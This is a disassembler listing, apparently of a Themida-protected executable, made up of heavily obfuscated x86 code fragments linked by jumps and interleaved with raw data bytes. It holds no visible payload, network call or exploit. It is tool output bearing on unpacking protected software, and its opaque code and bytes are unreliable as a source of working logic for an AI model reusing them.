loc_553D10:				; CODE XREF: Themida_:0054C7D0j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ch, 0D1h
		add	bl, ch
		jmp	loc_5490E0
; ---------------------------------------------------------------------------

loc_553D28:				; CODE XREF: Themida_:00553F73j
					; Themida_:00555829j
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 6
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_552221
; ---------------------------------------------------------------------------

loc_553D3E:				; CODE XREF: Themida_:0054CD28j
		jmp	loc_54E28D
; ---------------------------------------------------------------------------

loc_553D43:				; CODE XREF: Themida_:00548D3Fj
		pop	esp
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	71B4h
		jmp	loc_54B285
; ---------------------------------------------------------------------------

loc_553D58:				; CODE XREF: Themida_:00554869j
		pop	ecx
		sub	al, dl
		add	al, 6Ah
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 2
		jmp	loc_5529D4
; ---------------------------------------------------------------------------

loc_553D6E:				; CODE XREF: Themida_:0054B9D2j
		push	23C3h
		mov	[esp], ebp
		push	edi
		mov	edi, 6BC06060h
		jmp	loc_5497C1
; ---------------------------------------------------------------------------

loc_553D81:				; CODE XREF: Themida_:00553394j
		push	ebp
		jmp	loc_55517E
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 7090h, 89240489h,	405E0h,	0EC830000h, 1F7AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553DA2:				; CODE XREF: Themida_:0054B5E1j
		push	edi
		mov	edi, 4CA15E65h
		add	edi, 292624A2h
		xor	edi, 301711FAh
		sub	edi, 0D8B14BB2h
		sub	esi, edi
		pop	edi
		and	esi, 3A2626FDh
		xor	esi, 296E0420h
		add	edx, 2AAF604Fh
		jmp	loc_5490AA
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	2424D35Ch, 0FF4B44E9h, 0FDE957FFh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553DEB:				; CODE XREF: Themida_:0055244Ej
		add	dh, cl
		pop	cx
		add	al, dh
		jmp	loc_5520DF
; ---------------------------------------------------------------------------

loc_553DF6:				; CODE XREF: Themida_:0055175Dj
		mov	esi, 1
		sub	eax, esi
		jmp	loc_549AD5
; ---------------------------------------------------------------------------

loc_553E02:				; CODE XREF: Themida_:00553FC8j
		mov	eax, esp
		push	ebp
		mov	ebp, 28A57862h
		jmp	loc_55071C
; ---------------------------------------------------------------------------

loc_553E0F:				; CODE XREF: Themida_:0054DFF9j
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 81h
		dd 1D6BA8F6h, 0E9F18934h, 0FFFF8541h, 9486E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553E2E:				; CODE XREF: Themida_:00553192j
		push	edx
		jmp	loc_554EA7
; ---------------------------------------------------------------------------

loc_553E34:				; CODE XREF: Themida_:loc_54A69Dj
					; Themida_:005502A8j
		jmp	loc_549544
; ---------------------------------------------------------------------------

loc_553E39:				; CODE XREF: Themida_:005514A5j
		pop	edi
		add	bx, 1053h
		push	ecx
		push	small 4DBEh
		pop	cx
		shr	cx, 2
		shl	cx, 2
		not	cx
		sub	cx, 5EDh
		push	cx
		not	word ptr [esp]
		pop	cx
		xor	cx, 4732h
		sub	bx, cx
		pop	ecx
		push	eax
		mov	ax, 784Dh
		xor	ax, 7CBDh
		jmp	loc_54DC2C
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 0FFEA0104h, 575D2434h, 0C781E789h, 4, 4C781h, 3C870000h
		dd 14875C24h, 2CD25C24h, 8AE99C24h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553E9F:				; CODE XREF: Themida_:00552F8Bj
		jmp	loc_550916
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704C183h, 248B240Ch,	0DCF2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553EBA:				; CODE XREF: Themida_:00553894j
		pop	edi
		sub	esi, 247A6F3Dh
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	80Eh
		mov	[esp], ebx
		jmp	loc_54D95E
; ---------------------------------------------------------------------------

loc_553EDD:				; CODE XREF: Themida_:00549865j
		push	4FC04404h
		jmp	loc_54CBAD
; ---------------------------------------------------------------------------

loc_553EE7:				; CODE XREF: Themida_:005535D0j
		shr	dl, 6
		jmp	loc_552A18
; ---------------------------------------------------------------------------

loc_553EEF:				; CODE XREF: Themida_:0054A101j
		add	esp, 2
		push	ecx
		mov	ch, 0C1h
		jmp	loc_5516DE
; ---------------------------------------------------------------------------

loc_553EFD:				; CODE XREF: Themida_:00554D6Cj
		xor	edi, 0BD1CBA0Ch
		add	edx, 6EA52FC8h
		add	edx, edi
		jmp	loc_54FA11
; ---------------------------------------------------------------------------
		dd 68240C8Bh, 1998h, 89241C89h,	4C381E3h, 51000000h, 0B0414FB9h
		dd 4BE98135h, 135B041h,	9C6859CBh, 8900003Dh, 74FF241Ch
		dd 34FF0424h, 89515B24h, 4C181E1h, 83000000h, 0C8704E9h
		dd 2C895C24h, 81E58924h, 4C5h, 4A9AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553F62:				; CODE XREF: Themida_:00549917j
		mov	edx, 24h
		push	edi
		jmp	loc_5496AA
; ---------------------------------------------------------------------------

loc_553F6D:				; CODE XREF: Themida_:0054AAC3j
					; Themida_:0055199Fj
		add	edi, 4
		jmp	loc_553D28
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 0D3E95024h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553F87:				; CODE XREF: Themida_:0055143Bj
		jmp	loc_54F456
; ---------------------------------------------------------------------------
		dd 0FE0CEF80h, 0F8EF80C7h, 2824EF80h, 2434FFF8h, 0FF75BEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553FA1:				; CODE XREF: Themida_:0054A839j
		mov	esi, 2DD6571Bh
		inc	esi
		add	esi, 798D14DAh
		jmp	loc_554A07
; ---------------------------------------------------------------------------
		dw 555Dh
		dd 630835BDh, 0D61EE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553FBE:				; CODE XREF: Themida_:00550D9Ej
		pop	esp
		add	esp, 4
		imul	ecx
		push	eax
		jmp	loc_553E02
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 81E28952h, 4C2h, 18CFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553FDE:				; CODE XREF: Themida_:0054E8B0j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_554006:				; CODE XREF: Themida_:0054F810j
		push	edi
		push	ecx
		mov	ecx, 541D177Eh
		inc	ecx
		js	loc_554AA8
		inc	ecx
		jge	loc_54F3ED
		add	ecx, 0EC3F36h
		jmp	loc_552221
; ---------------------------------------------------------------------------
		dw 0C689h
		dd 6FB5BBB1h, 0EE30CEB6h, 52536659h, 0FFE74DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554039:				; CODE XREF: Themida_:0054FA2Bj
		mov	ebx, 1AD057ADh
		jmp	loc_54CABA
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF7C70E9h, 1C335DFFh, 1F21E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554052:				; CODE XREF: Themida_:0054A0D1j
		dec	dh
		jmp	loc_54D092
; ---------------------------------------------------------------------------

loc_554059:				; CODE XREF: Themida_:loc_5503ECj
		sub	ecx, 152028Ah
		jge	loc_551D64
		xor	ecx, 56C3B1A8h
		mov	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 891113Ah
		push	small 3AA8h
		pop	si
		or	bx, si
		jmp	loc_550E5F
; ---------------------------------------------------------------------------

loc_554082:				; CODE XREF: Themida_:loc_54B151j
		and	edi, 6FA6326Eh
		shl	edi, 7
		jz	loc_55137C
		add	edi, 0ECF7CA04h
		mov	eax, edi
		jmp	loc_54BDAA
; ---------------------------------------------------------------------------

loc_55409E:				; CODE XREF: Themida_:loc_555E54j
		add	edi, ecx
		sub	edi, 77B27011h
		jmp	loc_550D94
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF4C09E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5540B1:				; CODE XREF: Themida_:00548C17j
		mov	eax, 4EC03EB1h
		add	ebx, eax
		pop	eax
		pop	eax
		sub	ebx, eax
		sub	ebx, 16EE5282h
		push	ecx
		mov	ecx, 4E48390Bh
		jmp	loc_54E127
; ---------------------------------------------------------------------------

loc_5540CD:				; CODE XREF: Themida_:0054B9EAj
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		jmp	loc_54DA85
; ---------------------------------------------------------------------------
aIshx?		db '┴АhЕ?',0
		align 2
		dw 3C89h
		dd 46824h, 15F0000h, 2A5E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5540F2:				; CODE XREF: Themida_:0054AE18j
		or	ecx, 510B659Ch
		push	esi
		mov	esi, 6ED53E10h
		jmp	loc_551CEF
; ---------------------------------------------------------------------------

loc_554103:				; CODE XREF: Themida_:0054FA69j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54A3EC
; ---------------------------------------------------------------------------

loc_554114:				; CODE XREF: Themida_:0054D438j
		sub	edi, 6A7A15F1h
		jmp	loc_54E476
; ---------------------------------------------------------------------------
		db 8Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 27D16174h
		push	edx
		push	esi
		push	55CB5D05h
		jmp	loc_54DEE9
; ---------------------------------------------------------------------------

loc_55413D:				; CODE XREF: Themida_:00549DE3j
		jmp	loc_54A70C
; ---------------------------------------------------------------------------

loc_554142:				; CODE XREF: Themida_:00551893j
		jp	loc_555633
		or	edx, 7F0C0425h
		jg	loc_55134D
		inc	edx
		jnz	loc_555B75
		push	2A40h
		add	ebx, eax
		pop	eax
		add	esi, ebx
		jmp	loc_54BE49
; ---------------------------------------------------------------------------

loc_55416A:				; CODE XREF: Themida_:loc_54FDC6j
		xor	ebp, 227A3AFDh
		xor	ebp, 65C74D55h
		mov	edi, ebp
		jmp	loc_555191
; ---------------------------------------------------------------------------

loc_55417D:				; CODE XREF: Themida_:005534D6j
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_54EE53
; ---------------------------------------------------------------------------
		db 53h
		dd 88EC8850h, 885058E3h, 8D52E9D4h, 0C635FFFFh,	0F7657041h
		dd 3BBF57D8h, 0E916E61Ch, 0FFFFB8BEh, 0FF4774E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5541B5:				; CODE XREF: Themida_:00552A84j
					; Themida_:0055325Cj
		pop	ebx
		xor	ebx, 71055B35h
		jnp	loc_5546B9
		shl	ebx, 5
		jnp	loc_54D3C0
		pop	esi

loc_5541CC:				; CODE XREF: Themida_:00555A61j
		shl	esi, 2
		jnp	loc_552101
		push	edi
		jmp	loc_5508BD
; ---------------------------------------------------------------------------

loc_5541DB:				; CODE XREF: Themida_:0054F760j
		mov	[esp], ecx
		push	79E0h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_552B0F
; ---------------------------------------------------------------------------

loc_5541F6:				; CODE XREF: Themida_:005537CFj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5498C6
; ---------------------------------------------------------------------------

loc_554205:				; CODE XREF: Themida_:loc_54D1EDj
					; Themida_:0054DACDj
		mov	eax, esi
		pop	esi
		pop	ebx
		sub	[edi+24h], eax
		pop	eax

loc_55420D:				; CODE XREF: Themida_:0054E01Ej
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		mov	ebx, 37DB54F6h
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55170F
; ---------------------------------------------------------------------------

loc_55422F:				; CODE XREF: Themida_:00551994j
		push	eax
		jmp	loc_548A07
; ---------------------------------------------------------------------------

loc_554235:				; CODE XREF: Themida_:005502D8j
		mov	ecx, 393F38DFh
		and	ecx, 66B22740h
		not	ecx
		sub	ecx, 654F3D2Ch
		jmp	loc_54932A
; ---------------------------------------------------------------------------
		db 54h,	59h, 0E9h
		dd 0FFFFD283h
; ---------------------------------------------------------------------------

loc_554254:				; CODE XREF: Themida_:0055364Fj
		pop	bx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 502040C7h
		pop	eax
		push	edx
		jmp	loc_54BE4F
; ---------------------------------------------------------------------------

loc_55426C:				; CODE XREF: Themida_:00548A82j
		mov	esp, [esp]
		idiv	cx
		push	esi
		mov	esi, esp
		push	eax
		push	esi
		mov	esi, 5FE935ADh
		push	esi
		jmp	loc_549632
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 2, 8904EC83h, 0FBE9243Ch, 0FF000005h, 1C8B2434h, 4C48124h
		dd 53000000h, 0C381E389h, 4, 5304C383h,	42474FFh, 24048F5Bh
		dd 0A327E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5542BA:				; CODE XREF: Themida_:0055279Dj
		mov	[esp], edi
		jmp	loc_54F593
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 24048F5Ch, 0E924248Bh
		dd 0FFFF8278h, 5524048Bh, 0C5815D54h, 4, 0FFB1C3E9h, 0DAF2E9FFh
		dd 1487FFFFh, 78BCE924h, 2DBBFFFFh, 818447E7h, 5703E4C3h
		dd 81D32948h, 5703E4EBh, 0CB815A48h, 4F6340FBh,	648BE381h
		dd 0EB8165B2h, 5B333DCh, 30ABF381h, 0DA015FFFh,	5B2434FFh
		dd 0FF55B5E9h, 0C3815AFFh, 4, 0FFD94BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554341:				; CODE XREF: Themida_:0054E471j
		xor	eax, ecx
		jmp	loc_55333F
; ---------------------------------------------------------------------------
		dd offset loc_562F67+1
		dd 24148900h, 0FF657AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554355:				; CODE XREF: Themida_:0054CAADj
		add	edi, ecx
		jmp	loc_54EAE1
; ---------------------------------------------------------------------------

loc_55435C:				; CODE XREF: Themida_:00551D8Fj
		shl	ebp, 8
		jmp	loc_552E34
; ---------------------------------------------------------------------------

loc_554364:				; CODE XREF: Themida_:0054A5ACj
		jz	loc_5538A5
		shl	eax, 4
		js	loc_54C970
		jmp	loc_54DE7F
; ---------------------------------------------------------------------------
		dd 4797F381h, 0B9514D43h, 1A315584h, 4EEAE981h,	0D4E953FBh
		dd 33FFFFCDh, 0F7E92434h, 0FFFFFF7Fh, 0A9E92434h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55439F:				; CODE XREF: Themida_:00549F95j
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_554534
; ---------------------------------------------------------------------------

loc_5543AE:				; CODE XREF: Themida_:0054FFFFj
		mov	ebp, [esp]
		push	32A3h
		mov	[esp], edx
		jmp	loc_54ADF3
; ---------------------------------------------------------------------------

loc_5543BE:				; CODE XREF: Themida_:0054EBB3j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_548C1C
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	651968h, 0E86EE900h, 34FFFFFFh,	24048B24h
		dd 0FF82F7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5543E9:				; CODE XREF: Themida_:0054B7E1j
		pop	esi
		neg	esi
		jns	loc_55290F
		add	esi, 0FFFFFFFFh
		xor	esi, 47E71F5h
		jge	loc_54C2D4
		xor	esi, 9D1FDBD2h
		mov	edx, esi
		pop	esi
		add	esi, 322D29A2h
		add	esi, edx
		sub	esi, 322D29A2h
		jmp	loc_54F5A0
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 0E2895204h, 4C281h, 0C2830000h, 24148704h, 0DCE9515Ch
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554437:				; CODE XREF: Themida_:00555E0Fj
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_54AB4C
; ---------------------------------------------------------------------------

loc_554444:				; CODE XREF: Themida_:00551CFEj
		shr	eax, 1
		jmp	loc_54EAF5
; ---------------------------------------------------------------------------

loc_55444B:				; CODE XREF: Themida_:0055073Fj
		xor	[esp], esi
		jmp	loc_5513AD
; ---------------------------------------------------------------------------

loc_554453:				; CODE XREF: Themida_:00554793j
		mov	ebx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	eax, 3F53091Dh
		add	eax, ebx
		add	eax, 3F53091Dh
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 48C072F1h
		sub	ebx, esi
		jmp	loc_54FCB5
; ---------------------------------------------------------------------------
		dw 5666h
		dd 2474FF66h, 71CAE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554496:				; CODE XREF: Themida_:0054C0C0j
		mov	[esp], ecx
		push	38h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	ecx, 460C1D21h
		add	ecx, edi
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 13937CB8h
		inc	ebx
		jg	loc_5530F3
		add	ebx, 4EA41D68h
		inc	ebx
		jnp	loc_55451C
		inc	ebx
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5544E5:				; CODE XREF: Themida_:00549325j
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_549851
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4216624h, 1AE99C24h,	68FFFF44h, 15A8h, 0E9241489h, 0FFFF7302h
; ---------------------------------------------------------------------------

loc_55451C:				; CODE XREF: Themida_:0054CDCDj
					; Themida_:005544D2j
		add	dl, 32h
		jmp	loc_54B334
; ---------------------------------------------------------------------------

loc_554524:				; CODE XREF: Themida_:0054F465j
		sub	dl, 0DFh
		sub	ch, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551908
; ---------------------------------------------------------------------------

loc_554534:				; CODE XREF: Themida_:00552747j
					; Themida_:005543A9j
		sub	al, 0ABh
		add	cl, al
		jmp	loc_55584F
; ---------------------------------------------------------------------------

loc_55453D:				; CODE XREF: Themida_:00552F7Aj
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_554D3C
; ---------------------------------------------------------------------------

loc_554552:				; CODE XREF: Themida_:00552CBDj
		xor	[eax], ecx
		jmp	loc_5514F3
; ---------------------------------------------------------------------------

loc_554559:				; CODE XREF: Themida_:005535F0j
		jmp	loc_554B39
; ---------------------------------------------------------------------------

loc_55455E:				; CODE XREF: Themida_:00551B14j
		mov	ebx, 47C4032Eh
		add	ebx, 71AB2A37h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54F616
; ---------------------------------------------------------------------------

loc_554577:				; CODE XREF: Themida_:00550ABAj
		sub	esp, 4
		jmp	loc_550FC8
; ---------------------------------------------------------------------------

loc_55457F:				; CODE XREF: Themida_:0054DA3Aj
		push	38D7h
		jmp	loc_54D2E5
; ---------------------------------------------------------------------------

loc_554589:				; CODE XREF: Themida_:00554EC7j
		mov	ebp, 9390FCF8h
		add	ebp, ebx
		pop	ebx
		jmp	loc_551D36
; ---------------------------------------------------------------------------
		dw 5F5Ah
		dd 135FE9h, 4387E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5545A2:				; CODE XREF: Themida_:005508B3j
		sub	bl, dh
		pop	edx
		sub	bl, al
		push	ax
		mov	al, 0E7h
		add	bl, al
		pop	ax
		push	cx
		mov	cl, 26h
		jmp	loc_553AB0
; ---------------------------------------------------------------------------
		dd 2474FF51h, 240C8B04h, 8F04C483h, 0E95C2404h,	0FFFFBE52h
; ---------------------------------------------------------------------------

loc_5545CC:				; CODE XREF: Themida_:0054E013j
		push	4
		pop	esi
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	esi
		push	ecx
		jmp	loc_54AAC8
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0B5517C2Ch, 59E828C8h, 0F9BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5545F9:				; CODE XREF: Themida_:0054D191j
		sub	eax, 0DC3ADF9Bh
		push	esi
		jmp	loc_54A337
; ---------------------------------------------------------------------------

loc_554604:				; CODE XREF: Themida_:00549E5Aj
					; Themida_:00551C4Bj
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 6A3F6800h, 1C890000h, 525B5424h, 468h
		dd 0D3015A00h, 5724148Bh, 0C781E789h, 4, 4BE56h, 0F7010000h
		dd 243C875Eh, 0C544E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554646:				; CODE XREF: Themida_:00555F03j
		push	ebx
		xor	dword ptr [esp], 13F55213h
		pop	edx
		xor	edx, 13F55213h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_554E0E
; ---------------------------------------------------------------------------

loc_554689:				; CODE XREF: Themida_:0054DDAEj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54BD30
; ---------------------------------------------------------------------------
		dd 24048B66h, 52595451h, 4BAh, 5AD10100h, 0B7DDE955h, 0B850FFFFh
		dd 2, 0FFA251E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5546B9:				; CODE XREF: Themida_:005541BCj
		shl	ebx, 5
		jnp	loc_54EAC7
		sub	ebx, 43EB6CA2h
		push	ebx
		sub	dword ptr [esp], 209B66BCh
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 209B66BCh
		sub	esi, 78B43484h
		jmp	loc_5524AC
; ---------------------------------------------------------------------------
		db 81h
		dd 0F104246Ch, 59182C6Bh, 0FF4224E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554705:				; CODE XREF: Themida_:0054BF9Ej
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 1EE444EDh
		push	ebx
		mov	ebx, 4BB67D4Bh
		sub	edi, 4103665Dh
		sub	edi, ebx
		add	edi, 4103665Dh
		pop	ebx
		push	ebp
		jmp	loc_54C540
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5
		dd 22A4788Bh, 594ABD55h, 0E80111FBh, 10E9055Dh,	35E92E71h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55474B:				; CODE XREF: Themida_:0054D6A7j
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_54EFE4
		push	ebx
		push	55C4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54F529
; ---------------------------------------------------------------------------

loc_554774:				; CODE XREF: Themida_:005550EBj
		push	edi
		jmp	loc_555838
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF9863h
; ---------------------------------------------------------------------------

loc_554780:				; CODE XREF: Themida_:005531A8j
		sub	[esp], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	ebp, 0ABC5BE61h
		jmp	loc_554453
; ---------------------------------------------------------------------------
		dd 0BE04FE34h, 0E958C500h, 0FFFF8CB3h, 259B5BDh, 5DE90160h
		dd 0FF56C3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5547B1:				; CODE XREF: Themida_:00549A10j
		sub	eax, 19541A9Ah
		js	loc_5494FE
		neg	eax
		jl	loc_54DB24
		shr	eax, 6
		jmp	loc_552E34
; ---------------------------------------------------------------------------
		dd 0F48861B6h
		db 5Ah,	53h
; ---------------------------------------------------------------------------

loc_5547D2:				; CODE XREF: Themida_:00553A7Fj
		pop	ecx
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	490Bh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_548CA3
; ---------------------------------------------------------------------------
		db 56h
		dd 468h, 6055E00h, 0E975AE13h, 0FFFFC926h
; ---------------------------------------------------------------------------

loc_5547FC:				; CODE XREF: Themida_:loc_54F93Aj
		sub	ah, 57h
		mov	bl, ah
		pop	eax
		and	al, bl
		mov	bx, [esp]
		jmp	loc_554CFA
; ---------------------------------------------------------------------------

loc_55480D:				; CODE XREF: Themida_:005497B4j
		mov	ebp, 25457F79h
		add	dword ptr [esp+4], 627A0A60h
		jmp	loc_553266
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E99C241Ch, 0FFFF4101h, 240C8B66h, 815E5456h, 4C6h
		dd 5625E900h, 34FFFFFFh, 0D32DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554842:				; CODE XREF: Themida_:loc_54F80Aj
		push	ebx
		jmp	loc_5509F5
; ---------------------------------------------------------------------------
		dd 4C4815Fh, 0E9000000h, 0FFFF4556h
; ---------------------------------------------------------------------------

loc_554854:				; CODE XREF: Themida_:0054E1B8j
		pop	ebx
		push	ecx
		mov	ch, 0E1h
		sub	ch, 0B4h
		shr	ch, 8
		shr	ch, 4
		xor	ch, 0C9h
		xor	ch, 0A3h
		sub	al, ch
		jmp	loc_553D58
; ---------------------------------------------------------------------------

loc_55486E:				; CODE XREF: Themida_:005557DEj
		and	ebx, 37E83D19h
		jmp	loc_54B2E7
; ---------------------------------------------------------------------------

loc_554879:				; CODE XREF: Themida_:00552B5Bj
		mov	edi, ecx
		pop	ecx
		and	ecx, edi
		mov	edi, [esp]
		push	2210h
		mov	[esp], edi
		jmp	loc_54AABB
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 248B2404h, 0AF0F6624h, 9C5166C8h,	0FF4084E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5548A5:				; CODE XREF: Themida_:0054FBA3j
		push	2CFAh
		mov	[esp], ebx
		mov	ebx, 65B0E31h
		mov	ecx, 160E195Fh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	ecx, 5
		jns	loc_54E997
		or	ecx, 399F30CBh
		jz	loc_550ABF
		not	ecx
		inc	ecx
		push	edx
		mov	edx, 7B3536E0h
		jmp	loc_54F6E1
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0FFC5A2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5548ED:				; CODE XREF: Themida_:0054B7BAj
		mov	ebx, 4
		sub	ecx, 590052CAh
		jmp	loc_54D3CD
; ---------------------------------------------------------------------------

loc_5548FD:				; CODE XREF: Themida_:00548F95j
					; Themida_:00555A1Dj
		pop	ebx
		add	cx, bp
		jmp	loc_54F85A
; ---------------------------------------------------------------------------

loc_554906:				; CODE XREF: Themida_:005555BCj
		add	esp, 4
		sub	dh, 90h
		jmp	loc_554BDF
; ---------------------------------------------------------------------------

loc_554911:				; CODE XREF: Themida_:0054D3BBj
		pop	edx
		pop	ecx
		jmp	loc_54A4BD
; ---------------------------------------------------------------------------
		dd 8244481h, 688269EFh,	24448158h, 0E54D6704h, 2444011Bh
		dd 246C8104h, 0E54D6704h, 6850561Bh, 28696A8Ah,	8324048Bh
		dd 60D04C4h, 2D73C77Fh,	50974C42h, 8158C689h, 7808246Ch
		dd 0E97F3673h, 0FFFF4F73h
; ---------------------------------------------------------------------------

loc_55495C:				; CODE XREF: Themida_:loc_54F4D4j
		inc	ebx
		jnp	loc_54B84A
		jmp	loc_555E07
; ---------------------------------------------------------------------------
		dd 8853E789h, 55DA8BCAh, 0C02B62BDh, 0ACE58167h, 5223B217h
		dd 800324BAh, 5AD53123h, 0B83EF81h, 0EF015335h,	0B83C781h
		dd 835D5335h, 3C8704EFh, 0B6E95C24h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55499F:				; CODE XREF: Themida_:0054A438j
		jmp	loc_553220
; ---------------------------------------------------------------------------

loc_5549A4:				; CODE XREF: Themida_:0054DA76j
		add	edx, 4
		push	ebp
		jmp	loc_54ECC1
; ---------------------------------------------------------------------------

loc_5549B0:				; CODE XREF: Themida_:00550876j
		sub	edi, ebp
		add	edi, 7CB31CCAh
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_549D70
; ---------------------------------------------------------------------------
